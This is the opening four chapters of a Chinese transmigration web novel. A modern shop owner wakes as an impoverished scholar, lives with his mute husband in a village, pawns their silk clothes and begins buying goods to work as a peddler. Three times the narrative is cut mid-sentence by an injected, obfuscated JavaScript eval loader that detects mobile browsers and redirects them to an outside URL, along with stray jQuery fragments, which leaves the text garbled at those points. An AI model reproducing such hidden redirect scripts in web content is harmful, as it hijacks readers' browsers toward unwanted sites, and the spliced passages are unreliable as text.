《盛世小货郎》 1. 穿越 常霄睁开眼，又闭上。 然后再次睁开眼。 …… 他紧盯着头顶的破旧木梁、茅草屋顶，又环视一圈周遭的夯土泥墙，不得不接受自己穿越了的事实。 不是穿书，没有系统，唯一的金手指大概就是他自带的21世纪脑子。 然而他不是学霸，没法走科举之路连中三元，也不记得任何一个技术配方，不会制肥皂蜡烛和香水，也不懂造纸炼钢做玻璃。 早知如此，以前就应该多看点手工区主播的视频并全文背诵。 —— 常霄，或者说原主，本是一名县城的普通书生郎。 某日下学返家，原主发现父亲常佩泉不见了踪影，连带消失的还有家中一些细软财物。 次日早晨，更是被上门讨债的债主直接堵了个正着，道是常佩泉欠下百贯赌债，如今不见了人，只能父债子还。 原主哪里掏得出这么多钱，为此挨了一顿打，被迫在出卖家宅的契书上画押不说，还和夫郎一道被当场扫地出门，流落街头。 原主身无分文，没处可去，无奈求到了夫郎曾如意的娘家门前，不料人家翻脸不认人，直接闭门不迎客。 后来还是曾如意典当了一只贴身藏着的银镯，换来五百个现钱。 带着这五百文，原主决定带着曾如意回乡下老家，一个叫寨子村的小地方。 昔年他祖父发迹，迁居县城前，便是在这里长大的。 然而常家人举家进城、迁走祖坟后多年不归，原有的老屋早已坍圮。 如今小辈归乡，全赖里正做主，给他们夫夫两个寻了个盖在村里碾场旁的茅草屋暂住。 原主一介书生，哪里经过如此风浪，惊惧之下便一病不起，高热持续，谵语连连。 既现在芯子换做了常霄，估计原本的小书生已然不在了。 常霄无论如何也记不起自己在现代遭遇了什么意外，只知他好不容易奋斗到手的事业眨眼归零。 装修时精挑细选的智能电动床，还没享受几个月，就换成了身下垫着干草的简陋土台子。 甚至还多了个夫郎。 所谓夫郎，便是哥儿，即普通男子之外，另一类可生育的男子。 他们生来眉间一点红痣，称为孕痣。 古时男子娶亲不易，娶不到姑娘的，便娶哥儿，横竖都能传宗接代。 哥儿要的彩礼少，贴的嫁妆却多，当初原主娶曾如意，是在祖父的逼迫下不得不为之。 因祖父一来想借冲喜延寿，二来惦记曾如意过门时带的嫁妆，可以拿去填家里的亏空。 两头都想抓，两头都落空。 冲喜无用，老头子还是一命呜呼。 亏空尚未全部填明白，常佩泉就捅出更大的篓子。 常家改换门楣，摘取“泥腿子”的名号不过两代人，原主就又回到老家啃泥巴了。 扶着受伤的胳膊艰难下床，常霄用剩下的一只手把原主仅有的随身物品全翻了一遍。 扇子、香囊、荷包，全都是书生附庸风雅的装饰物。 荷包里也不装钱，而是放一个小小的茶叶包。 古代没有咖啡，泡茶还要烧水，原主读书读困了就干嚼茶叶提神。 他看了又看，单独把扇子拎了出来。 也不知道扇骨是什么木头，上面的字画出自谁手，兴许能送去当铺换两个钱。 还有出门时穿在身上的外袍，摸着料子不错，该是绸缎所制。 若说扇子的价值不好论，衣裳是肯定行的。 因为原主记忆里，就曾做过夏日典当冬衣，换钱买书，而后赶在冬日到来前再行赎回的事。 别看常家落魄之前，看着是小康水平，实际里子早就烂干净了。 原主念书花销不小，全靠祖父从指头缝里抠一点，再凭抄书赚一点，得来的也留不住，转眼便换做笔墨纸张。 做完这些，常霄准备到屋外看看。 同一屋檐下还有另一个大活人，按着而今礼法，也不是说和离就能和离的，姑且瞧瞧好不好相处，走一步看一步。 碾场是收了麦子后碾粮、晒粮用的，为免有人偷粮食，每夜会打发几个青壮轮着守夜，他们现下住的茅草屋就是做这个用处。 因而修得简单，好在即使如此，门前也围出个小院，放了口水缸，几样公用的农具。 另有一个小小的灶屋，常霄探头往里看了看，是那种简易土灶，并没有锅，墙角堆放着好些干柴。 古时候铁锅估计不便宜，没有也是寻常。 只是这个开局未免太艰难了点。 不知原主昏了多久，期间曾如意又是如何度日的。 想什么来什么，树枝扎成的院门起不到多少遮挡作用，常霄很快看见一个年轻哥儿手提水桶，一步步往这边挪。 他果断上去帮忙，不管原主和夫郎关系如何，就算看见个陌生人在路上费劲做事，凡是热心的都要上去搭把手的。 哪知他的突然出现，把曾如意吓了一跳。 换个人这时候肯定要问常霄是何时醒的，奈何曾如意是个哑巴，也是原主起初对这门亲事万般不从，后来在祖父的道德绑架下不得不答应的主要原因。 据说小哥儿尚年幼时双亲意外身故，他目睹全程，受了惊吓，就此口不能言。 原主是个书生，不说自诩风流倜傥，肯定也畅想过红袖添香，娶个哑巴做夫郎，成日大眼瞪小眼，焉能有半点意趣。 换成常霄，他没有那些事关风月的遐思，作为旁观者，只觉得曾如意怪可怜的。 一个孤儿，寄人篱下，又赶上不做人的大伯和伯娘，只管把人随便嫁了，不管之后的死活。 “我帮你。” 常霄主动开口。 他个子高，年岁长，力气也更大。 即便只有一条胳膊好使，也提得动半桶水。 曾如意见状松手，沉默地跟在常霄身后，望着对方的背影若有所思。 区区半桶水，倒进小水缸就看不见了。 曾如意果然也没有往里面倒的意思，常霄见他进屋抱出个瓦罐，还不知从哪里翻出一包药，随后把药材和水一并倒进去，抽出两根柴控制火候，开始熬药。 对于常霄的苏醒、下床走动和刚刚的帮忙，他没有给出任何特别的反应。 常霄知晓，曾如意嫁过来后，成亲当晚常霄便拒绝圆房，随后直接睡了三夜地铺。 三天后祖父去世，更是有了现成的借口，直接分房而居。 也就是说这对夫夫之间有名无实，而且对待彼此皆是态度冷漠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233912|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但起码还乐意熬药，没有真的不管死活。 而且常霄虽不是原主，也会记得曾如意典当银镯换路费的那份好。 他能在这里苏醒，肯定有曾如意照顾的功劳。 “不知我睡了多久，辛苦你了。” 连个能坐的地方都没有，曾如意蹲在地上生火，常霄只得站在旁边说话。 说罢，沉默再临，就在常霄以为小哥儿依旧不会搭理自己时，曾如意拿起根前端烧黑的木柴，在地上写起字。 【两日】 “我睡了两日？” 常霄恍然，随即摸了摸肚子，小声嘀咕，“怪不得这么饿。” 曾如意抬头看他一眼，像是有些意外于他会这么说话。 他虽是名义上嫁与常霄做夫郎，实际两人之间并未有多少交流。 那日在街头拿出银镯，也是因着他担心常霄嫌自己是累赘，半途把他舍下，到时他一个孤身哥儿，才是叫天不应叫地不灵。 似当下这般寄身村居，虽清贫，但安稳。 见常霄肯领情，曾如意对他的印象稍好了些许。 想了想，又写道： 【郎中说你只能喝粥】 随即又通过这般笔谈交流的方法，告知了常霄，过去两日自己都做了什么。 银镯换得的五百文，花去三十文的车费，还余四百七十文。 曾如意从里正家里买了五升粟米，又由里正娘子领着，从村里一些个人家手中买得几样日用的旧物。 包括打水的木桶、熬药的瓦罐、煮饭的陶锅、浣洗的瓦盆、几只陶碗、两双木筷、一柄木勺、一把木梳…… 以及油盐酱醋、皂角、灯盏并燃灯的桐油。 农家用东西珍惜得紧，很多物件即使换下来也不舍得丢，如今听说能借此到手几文钱，都挺乐意。 考虑到他们今后在村里生活，原先的衣裳太打眼，曾如意还收了两套旧衣，预备用里正娘子赠的针线改改尺寸。 如此种种，一共花去二百多个钱。 加上请郎中看诊抓药的一百文，原有的五百文里只余一百多了。 这都是省到不能再省，不得不支出的花销。 而最后剩下的余额，也着实不太够看。 曾如意有些忐忑，担心常霄会怪自己乱花钱。 他一介书生，不当家不知柴米贵。 常霄何曾想过那些，反倒感慨，“你想得已是很周全了，换做是我，也断然不及你。” 这些事换个能言善道的，都要好生忙活半晌，曾如意去做只会更困难。 尤其有关衣裳一事，他们想到了一起去。 “我也觉得旧衣留着无用，不如拿去典当折现。” 曾如意心下一松，不置可否。 他那身衣裳，本也是伯娘挑了匹自己亲生哥儿瞧不上的旧料子，丢给曾如意让他裁好后带去常家的，以免显得他们苛待侄哥儿。 舍了就舍了，没什么可心疼的。 不过光靠典卖旧物，日子过不长久。 眼看要入秋，接着便是入冬，到时要买添冬衣、厚被、炭火，不然如何捱过苦寒。 年年荒野山村，可都有僵卧床榻，活活冻死的人。 常霄开始思索，凭自己的本事，能做成哪样来钱的营生。 2. 本行 上辈子的常霄是个生意人。 说得接地气些，叫做公司小老板。 说得高大上些，那就是青年企业家。 从大学期间摆摊赚生活费，到毕业后进公司学经验，再到创业成功，拥有独立品牌的社区连锁超市，在本地扩展出十几家门店…… 做到这步，他用了将近十年。 如今同样是白手起家，难度却更大。 他没有上班攒的工资，也没地方申请创业补贴和低息贷款，兜比脸干净的时候，肯定要从小本生意做起，把风险降到最低。 这种情形下，做个小摊贩无疑是最简单的。 常霄两步迈出灶屋，目光越过碾场，遥望周围的村屋。 身处乡村，需知农户在很多地方都可以自给自足。 进山砍柴摘果、下河打水捕鱼、地里种粮收菜、院内鸡鸭下蛋。 不逢灾年，完全做得到吃喝不愁，卖给他们的东西，只能是山里不长，地里不产的。 交通不便的年代，出村赶个大集都算是出远门，大集不开，或是去不了的日子，村人添置用度，只能靠外来的货郎。 不过村子又非刚刚建成，货郎行当古已有之，怕是早就有人在做了。 他要加入，还需想想办法，看如何从中分得一杯羹。 念及他和曾如意是“夫夫”，行事自然要商量，常霄做出决定后，回到灶屋，把刚刚的想法说给正耐心熬药的曾如意听，顺便问过去两日，可有货郎来过寨子村。 曾如意闻言，看向常霄时的神色更加奇怪了。 但他还是先答了问题。 【没有货郎】 【里正娘子说，原本有个老货郎】 【过完年摔了跤，身上不好，便没人做了】 【不然一些东西，可以寻他买新的】 想说的多，写得也慢。 他还担心常霄会不耐烦，后来见着常霄始终耐心地低头垂眸看，心下遂安。 而常霄在想，什么叫想打瞌睡时有人递枕头。 如此巧合的好事，居然教他给碰上了！ 常霄顿觉，自己的开局虽然不太妙，但说不定也是个主角命呢？ 不过他在这兀自兴高采烈，却忘了一件事——原主本是个下月要下场考秋闱的书生郎。 哪怕家里揭不开锅了，弃文从商也绝非小事。 士农工商，商居最末，哪怕本朝建国以来，商贾的地位已经水涨船高，出门能乘车马、着绫罗，子孙可科举，甚至本人都能掏钱捐官。 但商贾还是商贾。 商税高昂，生意稍微有点起色后，便免不了四处打点，被各处吃拿卡要，一个小小的税吏都能让你难受半天。 许多商贾为了少些烦恼，便日日祈祷自家祖坟冒青烟，出个进士及第的紫微星，从此背靠大树好乘凉。 可见商户家出举子是翻身，书生行商事叫堕落。 曾如意用柴火棍在地上戳出一串坑，对于常霄的想法倒没有太多质疑。 听闻常家祖父当年就是靠贩卖布匹小发横财的，虽说后来由于他那公爹的所为，给败的家道中落，铺子也盘出去了，但算来常霄也是商户出身，指不定有些经商的才能。 说实话，常霄能乐意去做货郎，而不是咬牙寒窗苦读，已是让他悄然松口气。 若真是那样，这个家八成只能靠自己缝补织绣赚取口粮了。 不过他还是无声询问了一句： 【你不怕遭人议论么】 常霄先是愣了一下，随即坦然道：“谁人背后无人说，任他们议论去，生计二字总排在功名之前，家里锅都揭不开，单顾那劳什子的面子有何用？” 他道：“况且我也不觉得行商是什么丢面子的事，都是靠一双手吃饭，何来高低贵贱。” 曾如意作为商户家的哥儿，从小到大常听到家里人围绕于此的抱怨。 如今听到常霄一番说谈，忽而对方显得没那么陌生了。 书生郎瞧的那些书，他不懂多少，但若是讲商事，他还能说上一二。 两人聊了好半晌，他见常霄面色不好，催人回去休息。 自己则守着瓦罐，待药熬好后端出晾凉，又换陶锅煮粟米粥。 常霄确实不太好受。 他醒来时精神不错，但底子还是虚的，空着肚子走来走去，又好生动了一番脑子，再躺下时额头都见了冷汗。 他不敢托大，赶忙好生盖上被子，阖眼休息。 被曾如意唤醒喝粥吃药时，都没意识到自己又浅睡过去了。 粥碗在前，药碗在后，常霄推测是让他别空腹喝药的意思。 他开口问曾如意，得到了小哥儿肯定的点头。 粟米粥水多米少，并不稠，但可能是他饿极了，又或是农家粟米本就种得好，喝起来只觉香浓。 肚里有了东西垫底，常霄浑身都有了力气，还没高兴一会儿，又该接着喝药。 一碗喝罢，舌头苦得打结，他闭嘴屏息，强劝自己不能吐，不然刚刚的米粥可就白喝了。 缓过劲来后，整个人又倒回土床上。 药里八成有什么安神的东西，他本还想和曾如意说会子话的，结果很快眼皮子打架。 乏困至极的时候，人的思绪如云絮般飘起。 仅仅隐约察觉到有人替他整理被角，又轻手轻脚地离开。 —— 休养两日，三副药喝净，除了受伤的肩膀还隐隐作痛，常霄认为自己差不多好全了。 随后做的第一件事，就是和曾如意一起去里正家登门道谢。 他们没什么能拿得出手的礼，思来想去，还是使钱在村里一户人家买了一斤蛋带着去了。 里正是通情达理的，客客气气将蛋收下，对常霄这个书生郎的态度更是称得上尊敬。 常霄上辈子没当过一天好学生，不成想穿越后反而占了原主身份的便宜，得了份因学识而生的礼遇。 有这个前提在，听说常霄想去做货郎，里正和里正娘子的反应可是比曾如意大多了。 尤其是里正，一副痛心疾首的模样。 “你到底是咱们寨子村走出去的儿郎，若因家中变故弃了正途，岂非可惜，眼看秋闱在即，好歹要再下场试一回，不成再谈其它啊！” 秋闱这事，常霄是断然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233913|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能去的。 原主留下的记忆，只有对于过往所学的粗疏印象，至于提笔作文，不会就是不会，让他去考州试，相当于派小学生进高考考场。 好在如今有现成的理由，不会显得他太过于不学无术。 他作遗憾状，目色黯然道：“非是晚辈不想，实是不能，家父孝期聚赌，按律当判流放，如今他是逃了，全然不曾想会不会连累家小。我是自认清白，却不知旁人如何看待。学子赴州试，需五人互保，举子认保，以我常家现今在县城的名声，又有谁敢沾染这桩麻烦。” 里正听罢，也想明白了个中曲折，直拍大腿。 “说起来约是十年前，我进城办事，还在街上遇到过你爷，因他和我家算是旧相识，当初曾好心请我到家里吃茶。” 里正回忆道：“那会子见你爹，有秀才功名傍身，妻贤子孝，何等春风得意！现下人没了，家也散了，孩子的前程也毁了，真是放着好好的日子不过，偏去自讨苦吃！” 常霄亦有几分感慨。 这人一旦染了赌，当真就和变了个人一般。 赢了想加码，输了想翻身。 原主祖父迁居县城后，一心想让子孙入仕，不惜花重金请阴阳先生在县城附近另寻吉穴，搬走了祖坟，待儿子到了五六岁时就送去学塾开蒙。 常佩泉年近而立时考中秀才，哪怕本朝秀才并不值钱，最多只能开间村塾教书，可也算是半只脚踩在了龙门外。 谁知两次再考不中，怎也摸不到举子头衔，失意之际教人设计勾进了赌坊。 短短两三年，就把家业败得七零八落。 原主母亲不愿再忍，坚持和离回了娘家，从此与这边断了联系。 在那之后，常家就只有下坡路可走了。 到了常霄能下场考试的年纪，祖父的厚望又加诸在他的身上。 要不是不信玄学那一套，常霄都要怀疑是风水先生坑了原主祖父，把祖坟迁错地方了。 “孩子，我们这些做长辈的知你难处，只是这生计行当，要么还是再考虑一二，货郎当真是个苦累活儿，你打小长在城里，不知乡下村子相隔甚远，就和那散开的羊屎蛋一样，东一个西一个，一月下来都要走破几双鞋。” 里正娘子亦是苦口婆心，替他打算。 常霄估量着，多半是看他细胳膊细腿，怎么都不像个能吃苦的。 常霄诚恳道：“长辈一番苦心，晚辈怎不省的，只是手中本钱有限，思来想去，唯有这活计最适当。” 见他决心已定，里正夫妻不好再劝。 年轻人总是如此，真要试了不成，自己也就放弃了。 这时里正家的大儿媳妇恰好进来添茶水，又端了几个洗好的梨子，示意常霄和曾如意拿着吃。 见他俩都不好意思，里正娘子做主，往两人手里各塞了一个。 临走前，常霄打听到最近的草市去处。 草市即是固定的大集，不分日子，莘县临河，草市集的位置也多在码头附近，从那里出发去县城可走水路。 常霄盘算一番，预备到时先进城寻质库典当旧衣，再拿着钱返程，去草市进货。 3. 典当 晚食时分，曾如意仍是煮一锅粟米粥。 粥盛出来后，又把掐断成小节的旱芹菜丢进去，加点盐炒了炒。 芹菜是这会儿最常见的菜蔬，一枚铜钱能换一把，叶子单独扯下来还能拌一碟子小菜。 算下来，这点芹菜他们能吃好几顿，再划算不过了。 清粥小菜吃进嘴，油水和盐分都不丰，实则没多少味道。 常霄盼着早日能吃上肉，对进货赚钱的事愈发热切。 “我打算明天进城，你可要一起去？或是有什么东西需要捎带？” 小哥儿咬着筷子抬起眼，反应过来又飞快松了嘴。 思索一会儿，扯起袖口布料抖了抖，做了个用线缝布的姿势。 对了，他们还需扯些布。 手里的衣服典当后，收来的旧衣仅两身，至少需要各一套换洗的，贴身的小衣换得更勤。 现在都是换了后放在火上烤，烤干了第二天继续穿。 再这么洗下去，估计离洗破也不远了。 且贴身衣物没法收旧的穿，不如还是一并做新的。 常霄记下，微微颔首。 “我尽量早去早回。” 两人安静地用罢一顿饭，饭后常霄收了碗筷去刷洗。 他做饭手艺不佳，只能包揽点其余力所能及的家务。 干完活回到屋内，曾如意正坐在床边整理刚从院里收回的衣裳。 这就是那两身他从别人手里买来的麻料衣裤，样式就是村户人常穿的短打，尺寸都有些大了，他一一加固原有的补丁，改小后洗干净，索性天热，干得也快。 裁下来的布料也没丢，拼一拼做成了块包袱布。 明天常霄就要带走过去的旧衣，现在身上的穿不得了。 他见人进来，抖开其中一件，站起来递给对方。 常霄了然，这是让他试衣服的意思。 最开始他还担心和曾如意交流不便，后来证明靠着简单的手势及笔谈，并不耽误什么。 他脱下身上书生式样的圆领襕衫，套上褐色短衣，顺势原地转了一圈，问道：“瞧着如何？” 曾如意连看数眼。 年轻的郎君模样俊俏，穿绸衫挥折扇时，若赶着甚么上元灯会去街上走一圈，怕是能收着不少香帕、荷包。 而今到了乡下，弃了幞头，发丝仅用布带束起，再配上这短褐衣衫，看打扮全然和过去那个书生郎没了关系。 但不得不承认，好看的人无论穿什么，都像是那么回事。 他小幅度地点了点下巴，掩去眸中情绪，上前细看改过针的几处，见全都妥当，又把裤子拎起来，放在常霄手上，然后指了指门口的方向，直接避了出去。 常霄看了看关上门的屋门，又看了看手里的裤子，不由无奈地扯起嘴角。 他和曾如意在这方面的相处着实尴尬，因屋里只一张土床，两人不得不头朝两边，脚对着脚睡。 更别提洗漱、更衣，都要各自回避。 三两下换好，古代的衣服放量大，不似现代的那等贴身裁剪，宁大勿小，只要不是差得离谱，都能穿上。 细看针脚，细密平整，可见曾如意的针线活很不错。 初来乍到，人生地不熟之际，能有个人在身边陪伴，在吃穿上帮衬，是他的幸运。 等到做了生意，手上宽绰些，不单要再买份像样谢礼给里正一家送去，也该给小哥儿买点东西。 —— 翌日。 鸡叫三遍，天光渐亮。 常霄打着哈欠起了床，洗漱后匆匆吃过早食，跟曾如意打了个招呼后便出门。 他在心里回忆了一遍里正告知的路线，从寨子村去草市将近二十里路，要步行一个时辰。 趁早间凉爽，快些赶路，到时在码头坐上船，之后就好说了。 真正走起来，速度比他设想得还要慢。 原主这体格着实不怎么样，加上几日前才病了一场，本该个把时辰走完的路，生生多走了一炷香。 远远瞧见人来人往的草市时，简直觉得两条腿都不是自己的了，口中也焦渴难耐。 索性先打听了码头的方位，沿路朝那处走的时候，拦下一个肩挑架子卖葫芦的小子，讨价还价后，花十文钱买了个能当水囊的大葫芦。 这东西早晚都要买，出门卖货时用得上。 接着去茶摊，劳人家先灌点茶水进去涮两下，而后打满一壶。 他站在原地，气也不喘地喝了一半下去，方觉得活过来了。 老妇袖手坐回杌子上，看他道：“这是赶了远路？后生出门没点章程，怎也不晓得带水嘞。” 常霄笑了笑，随口道：“走得急，这不忘了个干净，看来今日合该来照顾您老生意的。” 老妇教他说得乐呵。 “一把年纪咯，赚点辛苦钱罢了。” 略歇半晌，常霄抱着还剩一半水的葫芦赶去码头，正遇上一艘船扬帆将行。 得知他要去莘县县城，又无占地方的货物，单收了十文船资。 船舱里挤挤挨挨，常霄上来得晚，只分到个角落，真正是左手一只鸡，右手一只鸭，禽毛味、汗水味掺上脚臭味，熏得他睁不开眼。 等船稍微速度快些，风灌进来后才好起来。 他扶着窗框，遥望起沿岸景色。 流经莘县的河叫金堤河，其下又分出好些支流水路，譬如船正行驶的这条，便叫马桥河。 金堤河向西汇入大运河，直通府城。 水路远胜于陆路，古代行商多赖水路出行，因而只要是临河的地方，再穷也穷不到哪里去。 即便商路如何通达，都和现在的常霄没什么关系，但他还是细心记下了船行的方向，时而听一耳朵舱里本地人的闲谈。 除却家长里短，大都是在说近来的粮价、盐价、肉价等，太平年景，物价起伏不大，一两文的变动就足够普通老百姓说上好半天。 听了全程，下船时他已是心中有数，不再是两眼一抹黑。 “这有两身绸子衣裳，一柄扇子，您瞧瞧能换几个钱。” 担心生面孔进质库被压价太狠，常霄还是循着原主的记忆，寻到了熟悉的铺面。 伙计一边暗中打量他，一边从柜台后伸出手，将东西接进去翻来覆去地看。 那柄扇子估计不值什么，被他撇到一边，两身衣裳则挂起展开，仔细检查。 人进了质库，可就只能由着人家挑拣。 做一件全新的绸料袍衫，连料带工需至少三贯钱，单买一匹绸子也要两贯。 但变卖折现时全都是毛病，先说洗旧褪色了，又言这处勾丝，那处明瑕，原价六贯往上的东西，只肯给两千两百个钱，还说是看在老主顾的面子上。 且言扇子收不了，让常霄原样拿回。 常霄自是不肯，按理说衣裳这等东西，只要不是太旧的，半价绝对是有的。 更别提两身衣裳了，曾如意那件一共不曾穿几回，说句九五新都不为过。 “哥儿式样那件，总值个一千五百个钱，我这件是旧了些不假，也不至于连一千钱都不值。” 他让伙计加价，来回磨了好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233914|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半晌，说定在两贯余五百文。 同他写了条子，当场钱货两讫。 常霄收起扇子，用包袱皮卷起沉甸甸的铜钱系在胸前。 心道以后不出意外，当是不会再踏入质库大门了。 站在街上看了看日头，他差不多是卯时过半出的门，辰时到达草市集，船又行了一个时辰，方至县城。 现在搭船往回走的话，算上进货的时间，勉强能赶在天黑前到家。 如此常霄更不敢耽搁，他护着包袱向码头赶路。 走出不多远，忽而听见有人唤自己的名字。 原主自幼长于县城，旧相识肯定不少，他实在不愿去应对，以免被人看出端倪。 不愿在县城久留，也有这个原因在。 故而常霄脚步不停，佯装没听见，不想后面那人也执着得很，且离得近了后，听声音还好像上了些年纪。 常霄没了法子，停下回头看，随即愣住了。 来人居然是个头戴儒巾的中年文士，正是原主所在学塾的盛夫子。 “常霄，果然是你，我就知不曾认错！” 盛夫子也是个实心眼，紧赶慢赶的，停下时还直喘气。 常霄有些不好意思，上前作势搀扶了一下，却被盛夫子甩开。 “我且问你，你是怎么回事，为何接连几日不来学堂，也不曾托人告假！” 又观常霄打扮，大为吃惊。 “你这穿了些什么，与那贩夫走卒无异！简直有辱斯文！” 常霄的嘴角抖了抖，一时不知该说什么好。 他三言两语解释罢，本不欲再和老夫子多言。 回程路远，可还有一堆事等着他去做。 哪知盛夫子不肯放他走，唉声叹气好半晌，非要他跟着再回一趟学塾。 常霄几番拒绝，甚至搬出曾如意当借口。 “夫子，学生现今住在僻远乡村，若赶不及在天黑前回去，内子恐要担忧。” “学塾离这里不过几步路，你随我回去，能耽误你多少工夫！” 盛夫子蓄须，生一副横眉，说话时的神态像极了常霄高中时的那个教导主任。 出于对老师的天然畏惧，常霄最终还是低了头，乖乖跟着去了。 他本以为到了地方，少不得要听盛夫子讲一堆又臭又长的大道理，劝他不要放弃学业。 意外的是，盛夫子只是打发了一个书院杂役，去原主上课的课室取回几本书，又在自己的桌上和后面的架子上一顿翻找，凑齐笔墨纸砚四样文房，装进一方木匣子，交给了常霄。 常霄接过，一时喉头微涩。 “这几册书，是你先前存在课室不曾拿回家的，上面有你素日习学的笔记，最是珍贵，岂能舍弃。” 他坐回圈椅中，面对这个往昔在学塾中称不上多出挑的学生，露出几分惋惜。 “今年秋闱，你怕是无心下场，把这几样东西带回去吧，若还有心，记得每天抽出三两时间温书习字，以待来日。万不可因一时困顿，舍了从前的志向。” 说罢，他似乎言尽于此，挥挥手示意常霄离开。 常霄怀抱木匣，心绪起伏，面对夫子深深一揖，方才转身出门。 迈过木槛，走下石阶，再度回望头顶学塾的木匾，常霄猛然觉得眼眶泛热。 他使手背一蹭，赫然蹭下几抹水色。 按理说他与学塾和夫子其人之间全无感情，犯不上这般动容，思来想去，或许是原主意志的残存也未可知。 拍拍木匣，常霄轻叹一声，默然走入不远处喧嚷的人群中。 4. 进货 自学塾到码头的路上有处旧货行，门前铺了几张草席，上面堆放着各样旧物，没什么章程，好些人凑在跟前一顿乱翻，遇见合适的就拣出来问价。 常霄在旁边站了一会儿，发现价钱都极便宜。 实是不便宜也没人要，这些门外的旧货品相都很是下乘，好些称得上破烂，根本比不得屋里那些像样。 来此捡漏的，穿着打扮也大都很是朴素。 抱着说不定能淘换到“好东西”的想法，常霄把文房匣子往胳膊下一夹，重新系紧包袱，一头扎进了旧货山里。 别说，东西还真不少，但是大都不是常霄想要的。 虽是带回去肯定用得上，却属于可有可无的那个范畴，以他们现下的条件，可有可无就等于不需要。 两三步开外，两个人正为着一只缺了扇门的破柜儿争吵，两边都说是自己先看中的，扯来伙计断官司。 常霄不由往那个方向多看两眼，意外发现了一个感兴趣的东西。 “有劳，这个多少钱？” 伙计脱不开身，抽空看了一眼，见是个旧的柳编箱笼，这东西他记得，在库房角落里落了大半年灰，便道：“你要的话，五十文拿去。” 常霄把箱笼单独拎出来，搁到一旁空地上细看。 箱笼是书生出行用的东西，有一双背带，能像背书包一样背在身后。 长方形的框架中，最下面是两层抽屉，上面镂空，套一个同等大小的布袋子。 头顶向前探出一截，可罩油布挡雨遮阳。 现在上罩的油布破了个大洞，内里的布袋子倒是还在，脏得看不出原本颜色。 他看上这个，自然也不是拿去装书的，而是琢磨着能不能改成个货担子，横竖模样差不多，可比去买个新的划算。 “这东西买个新的才几个钱，里面的布都破成什么样了，拿回去也要舍了，也就这架子凑合能看。” 常霄拍拍手上的灰，“三十个钱，卖不卖？” “卖不了，这好歹也是个大件儿，三十个钱，你只能去那头淘换两个瓦罐子。” 伙计一个劲摇头，常霄闻此也不流连，直接就要走。 这回换成伙计急了，实则这箱笼再卖不出去，与其留着占地方，还不如劈了烧火。 他“欸”了两声，“郎君，让你五文，四十五文要不要？” 常霄没回头，只是摆摆手。 伙计狠狠“啧”了一下，“罢了罢了，四十文！再少不了一个子儿了！” 常霄去而复返，却道：“你我各让一步，三十五文如何？我也多一个子儿没有，不卖我就走了。” 伙计“啧”声更响。 结局是常霄数了三十五文，拎走心仪的箱笼。 也就是他没有柳编的手艺，不然断不会让别人赚去这个钱。 找了个角落拍拍灰，常霄把盛夫子给的匣子小心放进去，装钱的包袱依旧贴身背着，行至码头。 “小兄弟，船去马桥吗？” “去，几个人？” “就我一个。” 常霄递出十文钱，不料守船的年轻小子却道：“不成不成，你背了箱笼嘞，多交五文来。” 常霄倒是忘了这层，企图分辨。 “我单一个箱笼不占多少地方，如何和他们挑担的一个价？” 那些个扛货上船的，光瓜菜就几十斤。 “规矩就是这么定的，交不起钱就别坐。” 小子硬气得很，一脸不耐。 后面的人催得急，常霄不得不多给五文钱。 如此一来，坐船就花去二十五文，来时路上听闻粟米十文一升，路费居然值两升半的粟米，够吃好几天的。 他从来不是个抠门的人，现今生活所迫，也是不得不将一文钱掰成两半花，兀自感叹了好一阵。 回程的船似乎比去时的颠簸，也更慢，大概是顺风和逆风的区别。 重新踏上陆地时常霄长出口气，拿着葫芦，又去找眼熟的茶摊买茶水。 但这次不单是喝水，还一并打听消息。 “大娘，我是外乡来投奔亲戚的，对这处不熟，家里缺东少西的，想向您打听打听去何处买东西便宜。” 卖茶的老妇闲着也是闲着，问他缺什么，听了半天，发现是什么都缺，连把菜刀都没有。 她指点道：“买菜刀可去赵家铁作，他家是一对儿父子打铁，开了好些年嘞，我家有一把，用了小十年了，磨一磨还是光得很！” 常霄应下，又听老妇讲其余的零儿八碎该怎么买才最划算。 得知有些只有铺里有卖，有些则可以往散摊上细瞧瞧，货比三家，择个差不离的便是。 马桥草市说是大集，其实和个小型镇子也差不多了，除却聚在一处摆摊的，按照菜市、鱼市、肉市、活禽市、牲口市等划分的生鲜之外，另有沿街叫卖的各样手艺人、经营吃食的、以及不少守铺面的坐贾。 不过铺面都盖得窄小，且不是家家都有招牌，远比不得县城那些前店后屋的敞亮，还显得乱糟糟的。 常霄喝饱了茶水，开始按着心中列出的章程，依样进货。 先往铁作铺子去，要了大小号的精铁针各五十根、顶针五枚。 他言明自己货郎的身份，讨了个好价，不过因为拿货的量少，价要不得太低的，只能说勉强有得赚。 